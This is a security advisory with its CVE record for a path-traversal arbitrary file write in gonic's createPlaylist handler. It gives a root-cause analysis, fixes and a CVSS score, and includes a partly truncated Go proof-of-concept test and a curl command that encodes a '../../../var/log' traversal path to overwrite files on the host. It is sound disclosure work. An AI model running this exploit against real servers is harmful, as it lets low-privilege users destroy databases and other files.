Summary

gonic has arbitrary file write in createPlaylist: any authenticated user can write playlist M3U content to attacker-controlled path on the host

Details

Summary

A logic error in ServeCreateOrUpdatePlaylist allows any authenticated Subsonic user (including non-admin) to write playlist M3U content to an attacker-controlled absolute filesystem path on the gonic host, and to create intermediate directories with 0o777 permissions.

The bug is independent of the playlist ownership IDOR fixed in 6dd71e6: it is an unreachable guard clause combined with no path containment in Store.Write.

Root cause — unreachable guard clause

server/ctrlsubsonic/handlers_playlist.go:74-90:

func (c *Controller) ServeCreateOrUpdatePlaylist(r *http.Request) *spec.Response {
    user := r.Context().Value(CtxUser).(*db.User)
    params := r.Context().Value(CtxParams).(params.Params)

    playlistID, _ := params.GetFirstID("id", "playlistId")
    playlistPath := playlistIDDecode(playlistID)   // attacker-controlled, base64-decoded

    var playlist playlistp.Playlist
    if playlistPath != "" {
        if pl, err := c.playlistStore.Read(playlistPath); err != nil && pl != nil {
            //                                              ^^^^^^^^^^^^^^^^^^^^^^^^^
            //                                              this condition is UNREACHABLE
            playlist = *pl
        }
    }

    if playlist.UserID != 0 && playlist.UserID != user.ID {
        return spec.NewError(50, "you aren't allowed update that user's playlist")
    }
    ...

playlist.Store.Read (playlist/playlist.go:88-144) returns either (*Playlist, nil) on success or (nil, err) on any failure path. There is no return path of (non-nil, non-nil-err).

So the inner branch err != nil && pl != nil is always false, the playlist = *pl assignment never executes, and playlist stays at its zero value with UserID = 0. The subsequent guard playlist.UserID != 0 && playlist.UserID != user.ID simplifies to false && (anything) and always passes, regardless of who owns the target path.

Root cause — no path containment in `Store.Write`

playlist/playlist.go:146-160:

func (s *Store) Write(relPath string, playlist *Playlist) error {
    defer lock(&s.mu)()
    if err := sanityCheck(s.basePath); err != nil {
        return err
    }
    absPath := filepath.Join(s.basePath, relPath)
    if err := os.MkdirAll(filepath.Dir(absPath), 0o777); err != nil {  // world-writable!
        return fmt.Errorf("make m3u base dir: %w", err)
    }
    file, err := os.OpenFile(absPath, os.O_RDWR|os.O_CREATE, 0o666)    // create-or-open
    ...
    if err := file.Truncate(0); err != nil {                            // wipe existing
        ...
    }

filepath.Join("/var/lib/gonic/playlists", "../../etc/cron.daily/anything") resolves to /var/lib/gonic/etc/cron.daily/anything — Go's filepath.Join does NOT prevent .. traversal. Combined with the missing guard above, any authenticated user controls the destination path.

Live PoC — passing Go test

Drop this into server/ctrlsubsonic/handlers_playlist_write_traversal_test.go and run go test -run TestCreatePlaylistArbitraryWrite_RawPath ./server/ctrlsubsonic/ -v:

    traversalRel := filepath.Join("..", "injected.m3u")
    traversalID := playlistIDEncode(traversalRel).String()

    // f.alt is the NON-ADMIN user (ID=2).
    resp := f.query(t, f.contr.ServeCreateOrUpdatePlaylist, f.alt, url.Values{

    stat, err := os.Stat(target)

    require.False(t, stat.IsDir())

    contents, err := os.ReadFile(target)
    require.NoError(t, err)
    t.Logf("VULNERABLE — file written at %s\n%s", target, string(contents))
}

The file was created at <tmp>/injected.m3u while the playlist store's basePath is <tmp>/playlists/ — write succeeded outside the intended directory.

HTTP-level reproduction

# Target a writable path on the gonic host.
# Encode "../../../var/log/anything.log" (note: gonic must be able to write there)
RAW='../../../var/log/anything.log'
ID="pl-$(printf '%s' "$RAW" | base64 -w0 | tr '/+' '_-')"

curl -s "http://gonic-host/rest/createPlaylist.view?u=lowpriv&p=pass&c=poc&v=1.16.1&f=json&id=$ID&name=injected" \
  | python3 -m json.tool
# Response: {"subsonic-response":{"status":"ok",...}}
# Side effect: file written at /var/log/anything.log with M3U structured content,
# intermediate directories created with 0o777 permissions.

Impact

Integrity: Any authenticated user can overwrite (truncate-and-rewrite) any file the gonic process has write access to: gonic's own SQLite database, configuration files, log files, cache, audit trails, M3U files of other users. The write is M3U-structured (#GONIC-NAME: / #GONIC-COMMENT: / #GONIC-IS-PUBLIC: attributes, plus song paths), but the name value is attacker-controlled and structurally placed (no newline injection; strconv.Quote escapes specials).
Availability: Overwriting gonic.db (or wherever the SQLite file lives) destroys all user state — accounts, ratings, playlists, etc. The write is unrecoverable.
Filesystem state: MkdirAll(dir, 0o777) creates intermediate directories as world-writable, regardless of the umask, which is itself a hardening issue alongside the traversal.
Trust boundary: gonic explicitly supports a non-admin user role (ServeCreateUser, the IsAdmin flag). This bug grants every non-admin user a destructive filesystem-write primitive into the host process's working set.
Content control is structural (cannot inject newlines into the M3U attribute lines), so direct shell/web-shell injection requires a target file format that tolerates the #GONIC-NAME:"..." header. Pure-destructive primitives (overwrite/truncate, fill-by-mkdir) work universally.

CVSS

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H = 8.1 High

Suggested fix

Two changes, either of which mitigates this:

1. Fix the unreachable guard at handlers_playlist.go:83:

// Currently (BROKEN):
if pl, err := c.playlistStore.Read(playlistPath); err != nil && pl != nil {
    playlist = *pl
}

// Fixed:
if pl, err := c.playlistStore.Read(playlistPath); err == nil && pl != nil {
    playlist = *pl
}

This restores the ownership check for the case where the path resolves to an existing playlist. It does NOT fix the case where playlistPath points to a non-existent file (the Read fails, playlist stays zero-valued, ownership check still bypassed). So the second fix is also needed.

2. Add path containment in playlist/playlist.go::Store.Write (same helper proposed in the companion advisory):

absPath := filepath.Join(s.basePath, relPath)
rel, err := filepath.Rel(s.basePath, absPath)
if err != nil || rel == ".." || strings.HasPrefix(rel, ".."+string(filepath.Separator)) {
    return fmt.Errorf("path %q escapes playlist directory", relPath)
}

Apply the same guard in Read() and Delete() to close related primitives. Consider tightening MkdirAll from 0o777 to 0o755.

CVE-2026-49340 (GCVE-0-2026-49340)

Vulnerability from cvelistv5 – Published: 2026-06-19 19:11 – Updated: 2026-06-22 17:50

Title

gonic has arbitrary file write in createPlaylist: any authenticated user can write playlist M3U content to attacker-controlled path on the host

Summary

gonic is a music streaming server / free-software subsonic server API implementation. Prior to version 0.21.0, a logic error in `ServeCreateOrUpdatePlaylist` allows any authenticated Subsonic user (including non-admin) to write playlist M3U content to an attacker-controlled absolute filesystem path on the gonic host, and to create intermediate directories with `0o777` permissions. The bug is independent of CVE-2026-49338 and CVE-2026-49339. It is an unreachable guard clause combined with no path containment in `Store.Write`. Version 0.21.0 patches the issue.
